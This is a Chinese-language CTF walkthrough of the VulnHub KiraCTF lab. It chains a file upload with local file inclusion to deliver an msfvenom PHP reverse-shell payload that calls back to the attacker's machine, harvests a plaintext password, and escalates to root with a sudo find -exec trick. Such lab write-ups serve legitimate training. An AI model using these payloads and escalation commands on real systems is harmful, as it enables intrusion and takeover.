KiraCTF靶场通关教程
作者: susususuao
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。
一:前言
KiraCTF是vulnhub一个靶机网站,适合初学者进行学习,可以在该网站下载靶机练练手
靶场下载地址:https://mega.nz/file/1WIA0R6K#NMTi2pZIUsRAVlP2ETwMrHFjuZe5na_nfwceIbh8McY
二:KiraCTF靶场搭建与环境部署
环境:
虚拟机 :VMware Workstation Pro 16
网络模式 :VMnet1(能够相互通信即可)
KiraCTF :IP地址:192.168.0.130
KALI :IP地址:192.168.0.21
部署KiraCTF:
1.导入虚拟机
2.输入虚拟机名称和路径后点击导入,可能出现报错,但是在点击重试就可以。
3.设置kali和KiraCTF在同一网段,能够正常通信。
三:KiraCTF渗透教学
1. 信息收集
寻找目标主机IP地址
- 因为是局域网环境,所以就简单的对KiraCTF靶机ip、端口收集下
# arp-scan 192.168.0.0/24 //寻找此网段的其他ip存活主机
# arp-scan -l //要是不知道此网段可以通过此命令
- 因为局域网存在主机较少,所以可以直接判断KiraCTF的ip
寻找目标主机开放的端口
# nmap -sV -p- 192.168.0.130 //扫描本主机所有端口
发现存在有个80端口,习惯性去web去访问一下。
可以判断此靶场大概是存在文件上传漏洞的。
2.漏洞利用
通过文件上传发现只能上传图片,上传其他会报错,当上传图片成功后会给出上传地址。
首页页面含有language功能,访问该功能,似乎有本地文件包含漏洞,确认一下果然存在:
先用whatweb扫下web的,看看有哪些信息:
# whatweb http://192.168.0.130
可以得到是Ubuntu Linux并搭载着Apache[2.4.29]。
开始验证文件包含漏洞
果然存在文件包含漏洞
通过上传phpinfo()测试。
然后利用msfvenom生成木马
# msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.21 lport=1234 R>shell.php
并增加后缀.jpeg,或者用bp抓包在里面添加后缀,只要正常上传就行。
同时使用msf监听
# msf6 > use exploit/multi/handler
//设置好payload
# msf6 >set payload php/meterpreter/reverse_tcp
//设置好本机的ip地址和监听的端口号
# msf6 >set LHOST 192.168.0.21
# msf6 >set LPORT 1234
# msf6 >run
同时去访问该shell
python3 -c 'import pty;pty.spawn("/bin/bash")' //进入交互式窗口
先对本路径下的文件进行搜索,发现了有个用户的密码
www-data@bassam-aziz:/var/www/html$ ls
ls
index.html language.php supersecret-for-aziz upload.php uploads
www-data@bassam-aziz:/var/www/html$
www-data@bassam-aziz:/var/www/html$ cd supersecret-for-aziz
cd supersecret-for-aziz
www-data@bassam-aziz:/var/www/html/supersecret-for-aziz$ ls
ls
bassam-pass.txt
www-data@bassam-aziz:/var/www/html/supersecret-for-aziz$ cat bassam-pass.txt
cat bassam-pass.txt
Password123!@#
www-data@bassam-aziz:/var/www/html/supersecret-for-aziz$ cat /etc/passwd
登陆
www-data@bassam-aziz:/var/www/html/supersecret-for-aziz$ su bassam //登陆该用户
su bassam
Password: Password123!@#
bassam@bassam-aziz:/var/www/html/supersecret-for-aziz$ ls
ls
bassam-pass.txt
bassam@bassam-aziz:/var/www/html/supersecret-for-aziz$ cd
cd
bassam@bassam-aziz:~$ ls
ls
Desktop Downloads Music Public user.txt
Documents examples.desktop Pictures Templates Videos
bassam@bassam-aziz:~$ cat user.txt //发现一个user.txt文件
cat user.txt
THM{Bassam-Is-Better_Than-KIRA}
bassam@bassam-aziz:~$ cd /root //发现没权限
cd /root
bash: cd: /root: Permission denied
bassam@bassam-aziz:~$
接下来就是提权了
bassam@bassam-aziz:~$ sudo -l
sudo -l
[sudo] password for bassam: Password123!@#
Matching Defaults entries for bassam on bassam-aziz:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User bassam may run the following commands on bassam-aziz:
(ALL : ALL) /usr/bin/find
bassam@bassam-aziz:~$
可以发现当前用户可以用root身份去运行find,那接下来就find提权
find提权
bassam@bassam-aziz:~$ id //查看当前的
id
uid=1000(bassam) gid=1000(bassam) groups=1000(bassam),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
bassam@bassam-aziz:~$ sudo -u root /usr/bin/find . -exec /bin/sh \; -quit //一条命令提权
sudo -u root /usr/bin/find . -exec /bin/sh \; -quit
[sudo] password for bassam: Password123!@#
# id //获取root权限
id
uid=0(root) gid=0(root) groups=0(root)
# cd /root //进入root目录
cd /root
# ls //发现存在flag.txt
ls
flag.txt
# cat flag.txt //查看
cat flag.txt
THM{root-Is_Better-Than_All-of-THEM-31337}
#
提权成功!
3.总结和建议
总结:
靶机难度低级,漏洞也明细,通过上传漏洞结合文件包含漏洞获取shell,在后提权,在通过sudo -l发现find提权,最后用find命令成功提权。
建议:
1.对密码的管理(不要存在本机或可以直接查看的目录里)
2.对find命令的错误配置(正确配置find权限)